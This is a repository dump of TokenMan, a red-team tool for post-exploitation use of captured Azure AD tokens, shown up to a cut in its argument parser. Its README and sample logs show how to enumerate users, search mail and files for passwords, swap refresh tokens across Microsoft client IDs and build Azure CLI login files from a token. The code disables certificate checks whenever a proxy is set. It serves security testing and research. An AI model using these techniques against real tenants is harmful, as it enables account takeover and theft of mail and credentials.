├── .gitignore ├── LICENSE ├── README.md ├── requirements.txt ├── resc └── tokenman.png ├── tokenman.py └── tokenman ├── __init__.py ├── acquire.py ├── args.py ├── az ├── __init__.py ├── az.py ├── azure_profile.py └── msal_token_cache.py ├── cache.py ├── fetch ├── __init__.py ├── applications.py ├── drives.py ├── emails.py ├── fetch.py ├── groups.py ├── organizations.py ├── serviceprincipals.py └── users.py ├── module.py ├── oauth ├── __init__.py ├── devicecode.py ├── oauth.py └── poll.py ├── search ├── __init__.py ├── messages.py ├── onedrive.py ├── search.py └── sharepoint.py ├── state.py ├── swap ├── __init__.py └── swap.py └── utils.py /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | share/python-wheels/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | MANIFEST 28 | 29 | # PyInstaller 30 | # Usually these files are written by a python script from a template 31 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 32 | *.manifest 33 | *.spec 34 | 35 | # Installer logs 36 | pip-log.txt 37 | pip-delete-this-directory.txt 38 | 39 | # Unit test / coverage reports 40 | htmlcov/ 41 | .tox/ 42 | .nox/ 43 | .coverage 44 | .coverage.* 45 | .cache 46 | nosetests.xml 47 | coverage.xml 48 | *.cover 49 | *.py,cover 50 | .hypothesis/ 51 | .pytest_cache/ 52 | cover/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | .pybuilder/ 76 | target/ 77 | 78 | # Jupyter Notebook 79 | .ipynb_checkpoints 80 | 81 | # IPython 82 | profile_default/ 83 | ipython_config.py 84 | 85 | # pyenv 86 | # For a library or package, you might want to ignore these files since the code is 87 | # intended to run in multiple environments; otherwise, check them in: 88 | # .python-version 89 | 90 | # pipenv 91 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 92 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 93 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 94 | # install all needed dependencies. 95 | #Pipfile.lock 96 | 97 | # poetry 98 | # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. 99 | # This is especially recommended for binary packages to ensure reproducibility, and is more 100 | # commonly ignored for libraries. 101 | # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control 102 | #poetry.lock 103 | 104 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 105 | __pypackages__/ 106 | 107 | # Celery stuff 108 | celerybeat-schedule 109 | celerybeat.pid 110 | 111 | # SageMath parsed files 112 | *.sage.py 113 | 114 | # Environments 115 | .env 116 | .venv 117 | env/ 118 | venv/ 119 | ENV/ 120 | env.bak/ 121 | venv.bak/ 122 | 123 | # Spyder project settings 124 | .spyderproject 125 | .spyproject 126 | 127 | # Rope project settings 128 | .ropeproject 129 | 130 | # mkdocs documentation 131 | /site 132 | 133 | # mypy 134 | .mypy_cache/ 135 | .dmypy.json 136 | dmypy.json 137 | 138 | # Pyre type checker 139 | .pyre/ 140 | 141 | # pytype static type analyzer 142 | .pytype/ 143 | 144 | # Cython debug symbols 145 | cython_debug/ 146 | 147 | # PyCharm 148 | # JetBrains specific template is maintained in a separate JetBrains.gitignore that can 149 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore 150 | # and can be added to the global gitignore or merged into this file. For a more nuclear 151 | # option (not recommended) you can uncomment the following to ignore the entire idea folder. 152 | #.idea/ 153 | 154 | **/.DS_Store -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

2 | 3 |

4 | 5 |

6 | Access and Refresh Token Suite. 7 |
8 | Token Man is a tool for supporting post-exploitation activities using AAD access and/or refresh tokens. 9 |

10 | 11 | 12 | # Table of Contents 13 | 14 | - [Usage](#usage) 15 | - [Commands](#commands) 16 | - [Fetch](#fetch) 17 | - [Search](#search) 18 | - [Swap](#swap) 19 | - [FOCI Application Client ID Map](#foci-application-client-id-map) 20 | - [AZ](#az) 21 | - [OAuth](#oauth) 22 | 23 | ## Usage 24 | 25 | ``` 26 | usage: tokenman.py [-h] {fetch,search,swap,az,oauth} ... 27 | 28 | Token Man -- v0.1.1 29 | 30 | positional arguments: 31 | {fetch,search,swap,az,oauth} 32 | Command 33 | fetch Retrieve data via Graph API 34 | search Search content via Graph API 35 | swap Exchange a refresh token 36 | az Generate Azure CLI authentication files 37 | oauth Perform OAuth device code flow 38 | 39 | options: 40 | -h, --help show this help message and exit 41 | ``` 42 | 43 | ## Commands 44 | 45 | ### Fetch 46 | 47 | Fetch specified data via the Microsoft Graph API. 48 | 49 | ``` 50 | usage: tokenman.py fetch [-h] [--debug] [-r REFRESH_TOKEN | -a ACCESS_TOKEN] [--proxy PROXY] 51 | [-m MODULE] 52 | 53 | options: 54 | -h, --help show this help message and exit 55 | 56 | --debug enable debugging 57 | 58 | -r REFRESH_TOKEN, --refresh-token REFRESH_TOKEN 59 | AAD refresh token 60 | 61 | -a ACCESS_TOKEN, --access-token ACCESS_TOKEN 62 | AAD access token 63 | 64 | --proxy PROXY 65 | HTTP proxy url (e.g. http://127.0.0.1:8080) 66 | 67 | -m MODULE, --module MODULE 68 | fetch module(s) to run (comma delimited) 69 | (all | applications,drives,emails,groups,organizations,serviceprincipals,users) 70 | [default: all] 71 | ``` 72 | 73 | ``` 74 | > python3 tokenman.py fetch -r "0.AW8AD..." -m users 75 | 76 | [2022-10-13 18:59:26,314] [info] Acquiring new token for: 'Microsoft Office' 77 | [2022-10-13 18:59:30,546] [info] Fetching users 78 | [2022-10-13 18:59:32,455] [info] Users: 78 79 | [2022-10-13 18:59:32,455] [info] Output: data/fetch.users.20221013225932.json 80 | ``` 81 | 82 | ### Search 83 | 84 | Search for keywords in the contents of a specified entity via the Microsoft Graph API. 85 | 86 | ``` 87 | usage: tokenman.py search [-h] [--debug] [-r REFRESH_TOKEN | -a ACCESS_TOKEN] [--proxy PROXY] 88 | [-m MODULE] [--keyword KEYWORD] 89 | 90 | options: 91 | -h, --help show this help message and exit 92 | 93 | --debug enable debugging 94 | 95 | -r REFRESH_TOKEN, --refresh-token REFRESH_TOKEN 96 | AAD refresh token 97 | 98 | -a ACCESS_TOKEN, --access-token ACCESS_TOKEN 99 | AAD access token 100 | 101 | --proxy PROXY 102 | HTTP proxy url (e.g. http://127.0.0.1:8080) 103 | 104 | -m MODULE, --module MODULE 105 | search module(s) to run (comma delimited) 106 | (all | messages,onedrive,sharepoint) 107 | [default: all] 108 | 109 | --keyword KEYWORD 110 | keyword(s) to search for (comma delimited) 111 | [default: password,username] 112 | ``` 113 | 114 | ``` 115 | > python3 tokenman.py search -r "0.AW8AD..." -m messages --keyword password 116 | 117 | [2022-10-13 19:06:56,652] [info] Acquiring new token for: 'Microsoft Office' 118 | [2022-10-13 19:07:00,135] [info] Searching 'messages' for: ['password'] 119 | [2022-10-13 19:07:03,618] [info] Search Results: 1 120 | [2022-10-13 19:07:03,618] [info] Output: data/search.messages.20221013230703.json 121 | ``` 122 | 123 | ### Swap 124 | 125 | Exchange the given refresh token for a different client id via family of client IDs (FOCI). 126 | 127 | ``` 128 | usage: tokenman.py swap [-h] [--debug] [-r REFRESH_TOKEN | -a ACCESS_TOKEN] [--proxy PROXY] 129 | [--list] [-c CLIENT_ID] [--resource RESOURCE] [--scope SCOPE] 130 | 131 | options: 132 | -h, --help show this help message and exit 133 | 134 | --debug enable debugging 135 | 136 | -r REFRESH_TOKEN, --refresh-token REFRESH_TOKEN 137 | AAD refresh token 138 | 139 | -a ACCESS_TOKEN, --access-token ACCESS_TOKEN 140 | AAD access token 141 | 142 | --proxy PROXY 143 | HTTP proxy url (e.g. http://127.0.0.1:8080) 144 | 145 | --list list foci client id and name mapping 146 | 147 | -c CLIENT_ID, --client-id CLIENT_ID 148 | application client id or name to exchange token for 149 | 150 | --resource RESOURCE 151 | token resource (audience) 152 | 153 | --scope SCOPE 154 | token scope (comma delimited) [default: .default] 155 | ``` 156 | 157 | ``` 158 | > python3 tokenman.py swap -r "0.AW8AD..." -c "Microsoft Azure CLI" --resource https://management.azure.com 159 | 160 | [2022-10-13 16:36:46,653] [info] Acquiring new token for: '04b07795-8ddb-461a-bbee-02f9e1bf7b46' 161 | [2022-10-13 16:36:55,557] [info] Output: data/token.04b07795-8ddb-461a-bbee-02f9e1bf7b46.20221013203655.json 162 | [2022-10-13 16:36:55,557] [info] Access Token: 163 | 164 | eyJ0e... 165 | ``` 166 | 167 | #### FOCI Application Client ID Map 168 | 169 | > Via the `--list` flag, most of these values come from the research: [Family of Client IDs](https://github.com/secureworks/family-of-client-ids-research) 170 | 171 | ```json 172 | { 173 | "Accounts Control UI": "a40d7d7d-59aa-447e-a655-679a4107e548", 174 | "Microsoft Authenticator App": "4813382a-8fa7-425e-ab75-3b753aab3abb", 175 | "Microsoft Azure CLI": "04b07795-8ddb-461a-bbee-02f9e1bf7b46", 176 | "Microsoft Azure PowerShell": "1950a258-227b-4e31-a9cf-717495945fc2", 177 | "Microsoft Bing Search for Microsoft Edge": "2d7f3606-b07d-41d1-b9d2-0d0c9296a6e8", 178 | "Microsoft Bing Search": "cf36b471-5b44-428c-9ce7-313bf84528de", 179 | "Microsoft Edge": "f44b1140-bc5e-48c6-8dc0-5cf5a53c0e34", 180 | "Microsoft Edge (1)": "e9c51622-460d-4d3d-952d-966a5b1da34c", 181 | "Microsoft Edge AAD BrokerPlugin": "ecd6b820-32c2-49b6-98a6-444530e5a77a", 182 | "Microsoft Flow": "57fcbcfa-7cee-4eb1-8b25-12d2030b4ee0", 183 | "Microsoft Intune Company Portal": "9ba1a5c7-f17a-4de9-a1f1-6178c8d51223", 184 | "Microsoft Office": "d3590ed6-52b3-4102-aeff-aad2292ab01c", 185 | "Microsoft Planner": "66375f6b-983f-4c2c-9701-d680650f588f", 186 | "Microsoft Power BI": "c0d2a505-13b8-4ae0-aa9e-cddd5eab0b12", 187 | "Microsoft Stream Mobile Native": "844cca35-0656-46ce-b636-13f48b0eecbd", 188 | "Microsoft Teams - Device Admin Agent": "87749df4-7ccf-48f8-aa87-704bad0e0e16", 189 | "Microsoft Teams": "1fec8e78-bce4-4aaf-ab1b-5451cc387264", 190 | "Microsoft To-Do client": "22098786-6e16-43cc-a27d-191a01a1e3b5", 191 | "Microsoft Tunnel": "eb539595-3fe1-474e-9c1d-feb3625d1be5", 192 | "Microsoft Whiteboard Client": "57336123-6e14-4acc-8dcf-287b6088aa28", 193 | "Office 365 Management": "00b41c95-dab0-4487-9791-b9d2c32c80f2", 194 | "Office UWP PWA": "0ec893e0-5785-4de6-99da-4ed124e5296c", 195 | "OneDrive iOS App": "af124e86-4e96-495a-b70a-90f90ab96707", 196 | "OneDrive SyncEngine": "ab9b8c07-8f02-4f72-87fa-80105867a763", 197 | "OneDrive": "b26aadf8-566f-4478-926f-589f601d9c74", 198 | "Outlook Mobile": "27922004-5251-4030-b22d-91ecd9a37ea4", 199 | "PowerApps": "4e291c71-d680-4d0e-9640-0a3358e31177", 200 | "SharePoint Android": "f05ff7c9-f75a-4acd-a3b5-f4b6a870245d", 201 | "SharePoint": "d326c1ce-6cc6-4de2-bebc-4591e5e13ef0", 202 | "Visual Studio": "872cd9fa-d31f-45e0-9eab-6e460a02d1f1", 203 | "Windows Search": "26a7ee05-5602-4d76-a7ba-eae8b7b67941", 204 | "Yammer iPhone": "a569458c-7f2b-45cb-bab9-b7dee514d112" 205 | } 206 | ``` 207 | 208 | ### AZ 209 | 210 | Generate the required authentication files for Azure CLI using only a refresh token. 211 | 212 | ``` 213 | usage: tokenman.py az [-h] [--debug] [-r REFRESH_TOKEN | -a ACCESS_TOKEN] [--proxy PROXY] 214 | [-c CLIENT_ID] 215 | 216 | options: 217 | -h, --help show this help message and exit 218 | 219 | --debug enable debugging 220 | 221 | -r REFRESH_TOKEN, --refresh-token REFRESH_TOKEN 222 | AAD refresh token 223 | 224 | -a ACCESS_TOKEN, --access-token ACCESS_TOKEN 225 | AAD access token 226 | 227 | --proxy PROXY 228 | HTTP proxy url (e.g. http://127.0.0.1:8080) 229 | 230 | -c CLIENT_ID, --client-id CLIENT_ID 231 | application client id or name to exchange token for 232 | [default: Azure CLI] 233 | ``` 234 | 235 | ``` 236 | > python3 tokenman.py az -r "0.AW8AD..." 237 | 238 | [2022-10-13 14:00:03,072] [info] Generating MSAL Token Cache 239 | [2022-10-13 14:00:05,287] [info] Writing MSAL Token Cache to disk 240 | [2022-10-13 14:00:05,288] [info] Generating Azure Profile 241 | [2022-10-13 14:00:06,578] [info] Writing Azure Profile to disk 242 | [2022-10-13 14:00:06,578] [info] Successfully generated Azure CLI authentication files 243 | ``` 244 | 245 | ### OAuth 246 | 247 | Generate a refresh and access token using the device code flow using credentials for authentication. 248 | 249 | ``` 250 | usage: tokenman.py oauth [-h] [--debug] [--proxy PROXY] [-c CLIENT_ID] 251 | [--scope SCOPE] 252 | 253 | options: 254 | -h, --help show this help message and exit 255 | 256 | --debug enable debugging 257 | 258 | --proxy PROXY 259 | HTTP proxy url (e.g. http://127.0.0.1:8080) 260 | 261 | -c CLIENT_ID, --client-id CLIENT_ID 262 | application client id or name to request token for 263 | [default: Azure CLI] 264 | 265 | --scope SCOPE 266 | token scope (comma delimited) [default: .default] 267 | ``` 268 | 269 | ``` 270 | > python3 tokenman.py oauth 271 | 272 | [2022-10-27 14:32:35,574] [info] Requesting new device code 273 | [2022-10-27 14:32:35,927] [info] Starting authentication poll in background 274 | [2022-10-27 14:32:35,929] [info] Launching browser for authentication 275 | [2022-10-27 14:32:35,929] [info] Enter the following device code: XXXXXXXXX 276 | [2022-10-27 14:32:35,929] [info] Close the browser or tab once authentication has completed to continue 277 | [2022-10-27 14:32:58,683] [info] Output: data/devicecode.token.20221027183258.json 278 | ``` -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | colorama 2 | PyJWT>=2.1.0 3 | requests -------------------------------------------------------------------------------- /resc/tokenman.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/secureworks/TokenMan/d2189eba24129a5cf20c079f472237ffc91d4898/resc/tokenman.png -------------------------------------------------------------------------------- /tokenman.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | # Copyright 2022 Secureworks 5 | # 6 | # Licensed under the Apache License, Version 2.0 (the "License"); 7 | # you may not use this file except in compliance with the License. 8 | # You may obtain a copy of the License at 9 | # 10 | # http://www.apache.org/licenses/LICENSE-2.0 11 | # 12 | # Unless required by applicable law or agreed to in writing, software 13 | # distributed under the License is distributed on an "AS IS" BASIS, 14 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 15 | # See the License for the specific language governing permissions and 16 | # limitations under the License. 17 | 18 | import logging 19 | import urllib3 # type: ignore 20 | from pathlib import Path 21 | from tokenman import __title__ 22 | from tokenman import __version__ 23 | from tokenman import utils 24 | from tokenman.args import parse_args 25 | from tokenman.cache import TokenCache 26 | from tokenman.state import RunState 27 | 28 | # Command handlers 29 | from tokenman.az import AZ 30 | from tokenman.fetch import Fetch 31 | from tokenman.oauth import OAuth 32 | from tokenman.search import Search 33 | from tokenman.swap import Swap 34 | 35 | 36 | # Disable insecure request warnings 37 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 38 | 39 | 40 | if __name__ == "__main__": 41 | args = parse_args() 42 | print(utils.BANNER) 43 | 44 | # Initialize logging level and format 45 | utils.init_logger(args.debug) 46 | 47 | # Create output directory: ./data/ 48 | output_dir = Path("data") 49 | output_dir.mkdir(parents=True, exist_ok=True) 50 | 51 | # Initialize tokenman state 52 | state = RunState( 53 | token_cache=TokenCache( 54 | access_token=args.access_token, 55 | refresh_token=args.refresh_token, 56 | ), 57 | output=output_dir, 58 | proxy=args.proxy, 59 | ) 60 | 61 | # Handle 'fetch' command 62 | if args.command == "fetch": 63 | 64 | logging.debug(f"Fetch Modules: {args.module}") 65 | Fetch.run( 66 | state=state, 67 | modules=args.module, 68 | ) 69 | 70 | # Handle 'search' command 71 | elif args.command == "search": 72 | 73 | logging.debug(f"Search Module: {args.module}") 74 | Search.run( 75 | state=state, 76 | modules=args.module, 77 | keywords=args.keyword, 78 | ) 79 | 80 | # Handle 'swap' command 81 | elif args.command == "swap": 82 | 83 | logging.debug(f"Swap Target: {args.client_id}") 84 | Swap.run( 85 | state=state, 86 | client_id=args.client_id, 87 | resource=args.resource, 88 | scope=args.scope, 89 | ) 90 | 91 | # Handle 'az' command 92 | elif args.command == "az": 93 | 94 | AZ.run(state=state, client_id=args.client_id) 95 | 96 | # Handle 'oauth' command 97 | elif args.command == "oauth": 98 | 99 | OAuth.run( 100 | state=state, 101 | client_id=args.client_id, 102 | scope=args.scope, 103 | ) 104 | -------------------------------------------------------------------------------- /tokenman/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Secureworks 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | # fmt: off 16 | 17 | __title__ = "Token Man" 18 | __version__ = "0.1.1" 19 | -------------------------------------------------------------------------------- /tokenman/acquire.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Secureworks 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | import logging 16 | import requests # type: ignore 17 | from typing import List 18 | from typing import Dict 19 | 20 | 21 | def acquire_token_by_refresh_token( 22 | refresh_token: str, 23 | client_id: str, 24 | resource: str = None, 25 | scope: List[str] = [".default"], 26 | proxies: Dict[str, str] = None, 27 | verify: bool = True, 28 | *args, 29 | **kwargs, 30 | ) -> Dict[str, str]: 31 | """Acquire a new refresh token using by querying the 'oauth2/token' 32 | endpoint. Manually exchange instead of using MSAL to provide slightly 33 | more granularity in token options via 'resource' parameter. 34 | 35 | :param refresh_token: refresh token 36 | :param client_id: target client id 37 | :param resource: target resource/audience 38 | :param scopes: target scopes 39 | :param proxies: http request proxy 40 | :param verify: http request certificate verification 41 | :returns: token object 42 | """ 43 | endpoint = "https://login.microsoftonline.com/common/oauth2/token" 44 | 45 | # If HTTP proxy provided, default to no ssl validation 46 | if proxies: 47 | verify = False 48 | 49 | # Build scope 50 | default_scope = ["profile", "openid", "offline_access"] 51 | token_scope = list(set(scope + default_scope)) # dedup 52 | token_scope = "%20".join(token_scope) 53 | 54 | # Build token POST request data 55 | data = f"client_id={client_id}" 56 | data += "&grant_type=refresh_token" 57 | data += "&client_info=1" 58 | data += f"&refresh_token={refresh_token}" 59 | data += f"&scope={token_scope}" 60 | 61 | if resource: 62 | data += f"&resource={resource}" 63 | 64 | # Request token 65 | try: 66 | response = requests.post( 67 | endpoint, 68 | data=data, 69 | proxies=proxies, 70 | verify=verify, 71 | ) 72 | token = response.json() 73 | 74 | # Handle errors 75 | if "error" in token.keys(): 76 | raise Exception(token["error_description"]) 77 | 78 | return token 79 | 80 | except Exception as e: 81 | logging.error(f"Failed to acquire token: {e}") 82 | return None 83 | -------------------------------------------------------------------------------- /tokenman/args.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Secureworks 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | import argparse 16 | import json 17 | import sys 18 | from tokenman import __title__ 19 | from tokenman import __version__ 20 | from tokenman import utils 21 | 22 | 23 | def parse_args() -> argparse.Namespace: 24 | """Parse command line arguments 25 | 26 | :returns: argparse namespace 27 | """ 28 | parser = argparse.ArgumentParser(description=f"{__title__} -- v{__version__}") 29 | subparsers = parser.add_subparsers(help="Command", dest="command") 30 | 31 | # Shared flags 32 | base_subparser = argparse.ArgumentParser(add_help=False) 33 | base_subparser.add_argument("--debug", action="store_true", help="enable debugging") 34 | token_group = base_subparser.add_mutually_exclusive_group() 35 | token_group.add_argument( 36 | "-r", 37 | "--refresh-token", 38 | type=str, 39 | help="AAD refresh token", 40 | ) 41 | token_group.add_argument( 42 | "-a", 43 | "--access-token", 44 | type=str, 45 | help="AAD access token", 46 | 